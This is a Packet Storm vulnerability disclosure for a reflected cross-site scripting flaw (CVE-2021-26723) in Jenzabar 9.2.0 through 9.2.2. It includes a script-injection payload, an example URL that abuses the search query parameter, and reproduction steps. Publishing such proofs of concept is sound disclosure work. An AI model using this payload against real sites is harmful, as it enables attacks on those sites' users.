

Jenzabar 9.2.2 Cross Site Scripting

Authored by y0ung_dst

Posted Feb 6, 2021

Jenzabar version 9.2.2 suffers from a cross site scripting vulnerability.

tags | exploit, xss

advisories | CVE-2021-26723

SHA-256 | 773575dcf5fb6c751dfe4165d0eec5a8716a93bee856466b2b28b66f56a2d469 [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Exploit Title: Jenzabar 9.2.2 - 'query' Reflected XSS.
# Date: 2021-02-06
# Exploit Author: y0ung_dst
# Vendor Homepage: https://jenzabar.com
# Version: Jenzabar - v9.2.0-v9.2.1-v9.2.2 (and maybe other versions)
# Tested on: Windows 10
# CVE : CVE-2021-26723
```

-Description:

A Reflected Cross-site scripting (XSS) vulnerability in Jenzabar v9.2.0 through 9.2.2. Attacker could inject web script or HTML via the query parameter (aka the Search Field). To exploit the vulnerability, someone must click the link.

-Payload used:

```
"><script>alert(1)</script>
```

-Example :

```
https://localhost/ics7tool=searchquery="><script>alert(1)</script>
```

-Steps to reproduce:

1. Open a website that use Jenzabar v9.2.0 through 9.2.2.
2. In the Search Field, enter anything.
3. Edit the query by replacing the text with the payload.
4. Press Enter to trigger the alert.

[Login](#) or [Register](#) to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 201 files

Ubuntu 78 files

Debian 24 files

LiquidWorm 23 files

malvuln 12 files

nu11security 11 files

Gentoo 9 files

Google Security Research 8 files

T. Weber 4 files

Julien Ahrens 4 files

File Tags

ActiveX (932)

Advisory (79,754)

Arbitrary (15,694)

BBS (2,859)

Bypass (1,619)

CGI (1,018)

Code Execution (8,926)

Conference (673)

Cracker (840)

CSRF (3,290)

DoS (22,602)

Encryption (2,349)

Exploit (50,359)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,690)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

iOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other

SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other



© 2022 Packet Storm. All rights reserved.

Site Links

- News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

- History & Purpose

Contact Information

Terms of Service

Privacy Statement

Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed